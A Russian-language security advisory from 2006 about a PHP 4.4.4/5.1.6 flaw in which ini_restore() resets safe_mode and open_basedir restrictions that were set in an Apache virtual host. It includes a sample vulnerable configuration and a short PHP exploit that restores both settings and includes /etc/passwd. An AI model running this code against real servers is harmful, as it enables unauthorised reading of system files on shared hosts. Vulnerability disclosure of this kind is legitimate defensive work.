Security Lab

Обход ограничений безопасности в PHP

Дата публикации:10.09.2006
Дата изменения:07.04.2009
Всего просмотров:7806
Опасность:
Низкая
Наличие исправления: Нет
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации: Локальная
Воздействие: Обход ограничений безопасности
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты: PHP 4.4.x
PHP 5.0.x
PHP 5.1.x
Уязвимые версии:
PHP 4.4.4 и более ранние версии
PHP 5.1.6 и более ранние версии

Описание:
Уязвимость позволяет удаленному пользователь получить доступ к важным данным на системе.

Уязвимость существует из-за недостаточного ограничения на смену параметров safe_mode и open_basedir в функции ini_restore(). Если эти ограничения установлены в настройках виртуального хоста Web сервера, а в файле php.ini находятся значения по умолчанию, злоумышленник может восстановить значения по умолчанию и обойти ограничения, установленный в конфигурационном файле Web сервера. Пример уязвимой конфигурации:

<Directory /usr/home/frajer/public_html/>
Options FollowSymLinks MultiViews Indexes
AllowOverride None
php_admin_flag safe_mode 1
php_admin_value open_basedir /usr/home/frajer/public_html/
</Directory>
Эксплоит:
<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
?>
Удачная эксплуатация уязвимости позволит злоумышленнику получить доступ к содержимому произвольных файлов на системе.

URL производителя: www.php.net

Решение: Способов устранения уязвимости не существует в настоящее время.

Ссылки: PHP 5.1.6 / 4.4.4 Critical php_admin* bypass by ini_restore()